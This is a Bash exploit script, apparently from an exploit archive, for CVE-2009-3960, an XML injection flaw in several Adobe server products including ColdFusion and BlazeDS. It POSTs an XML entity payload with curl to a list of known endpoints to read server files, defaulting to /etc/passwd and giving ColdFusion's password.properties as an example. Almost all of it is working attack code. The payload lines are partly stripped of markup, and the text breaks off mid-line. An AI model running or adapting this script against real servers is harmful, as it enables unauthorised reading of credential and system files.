#!/bin/bash # # Exploit Title: Adobe XML Injection file content disclosure # Date: 07-04-2017 # Exploit Author: Thomas Sluyter # Website: https://www.kilala.nl # Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html # Version: Multiple Adobe products # Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise # CVE : 2009-3960 # # Shell script that let's you exploit a known XML injection vulnerability # in a number of Adobe products, allowing you to read files that are otherwise # inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject # This script is a Bash implementation of the PoC multiple/dos/11529.txt. # # According to the original Metasploit code, this attack works with: # "Multiple Adobe Products: BlazeDS 3.2 and earlier versions, # LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1, # and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2" # PROGNAME="$(basename $0)" # This script TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile EXITCODE="0" # Assume success, changes on errors CURL="/usr/bin/curl" # Other locations are detected with "which" SSL="0" # Overridden by -s DEBUG="0" # Overridden by -d BREAKFOUND="0" # Overridden by -b TARGETHOST="" # Overridden by -h TARGETPORT="8400" # Overridden by -p READFILE="/etc/passwd" # Overridden by -f ################################## OVERHEAD SECTION # # Various functions for overhead purposes. # # Defining our own logger function, so we can switch between stdout and syslog. logger() { LEVEL="$1" MESSAGE="$2" # You may switch the following two, if you need to log to syslog. #[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE" [[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE" } ExitCleanup() { EXITCODE=${1} rm -f ${SCRATCHFILE}* >/dev/null 2>&1 echo "" exit ${EXITCODE} } # Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script ValidIP() { local IP=${1} local STAT=1 if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]] then OIFS=$IFS; IFS='.' IP=(${IP}) IFS=$OIFS [[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]] stat=$? fi return $stat } # Function to output help information. show-help() { echo "" cat << EOF ${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file] -? Show this help message. -d Debug mode, outputs more kruft on stdout. -s Use SSL / HTTPS, instead of HTTP. -b Break on the first valid answer found. -h Target host -p Target port, defaults to 8400. -f Full path to file to grab, defaults to /etc/passwd. This script exploits a known vulnerability in a set of Adobe applications. Using one of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is normally inaccessible. NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example: ${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties ${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties' This script relies on CURL, so please have it in your PATH. EOF } # Parsing and verifying the passed parameters. OPTIND=1 while getopts "?dsbh:p:f:" opt; do case "$opt" in \?) show-help; ExitCleanup 0 ;; d) DEBUG="1" ;; s) SSL="1" ;; b) BREAKFOUND="1" ;; h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) ValidIP ${OPTARG}; if [[ $? -eq 0 ]] then TARGETHOST=${OPTARG} else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}') [[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1) fi ;; p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]] then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1 else TARGETPORT=${OPTARG} fi ;; f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]] then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1 else READFILE=${OPTARG} fi ;; *) show-help; ExitCleanup 0 ;; esac done [[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1) [[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1) [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}." ################################## GETTING TO WORK # # PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \ "/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \ "/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \ "/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \ "/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \ "/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \ "/lcds-samples/messagebroker/httpsecure") echo "" > ${SCRATCHFILE} echo " ]>" >> ${SCRATCHFILE} echo "" >> ${SCRATCHFILE} echo "" >> ${SCRATCHFILE} echo "bodyclientIdcorrelationIddestination" >> ${SCRATCHFILE} echo "headersmessageIdoperationtimestamp" >> ${SCRATCHFILE} echo "timeToLive" >> ${SCRATCHFILE} echo "DSIdDSMessagingVersionnil" >> ${SCRATCHFILE} echo "1&x3;500" >> ${SCRATCHFILE} if [[ ${DEBUG} -gt 0 ]] then logger DEBUG "XML file sent to target host reads as follows:" echo "======================================" cat ${SCRATCHFILE} echo "======================================" echo "" fi let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1 for ADOBEPATH in "${PATHLIST[@]}" do [[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http" URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}" [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}" # Header contents based on a tcpdump capture of original exploit being # run from Metasploit. HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\"" CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}" [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}" # The tr command dikes out any non-ASCII characters which might mess with output. CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1) # Output is pretty garbled and the HTTP return code is enclosed in double quotes. # I need to grab the last 5 chars (includes NULL EOF) and remove the ". CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:]) if [[ ${DEBUG} -gt 0 ]] then logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}." logger DEBUG "Output from CURL reads as follows:" echo "======================================" echo "${CURLOUTPUT}" echo "======================================" echo "" fi logger INFO "${CURLCODE} for ${URI}" if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "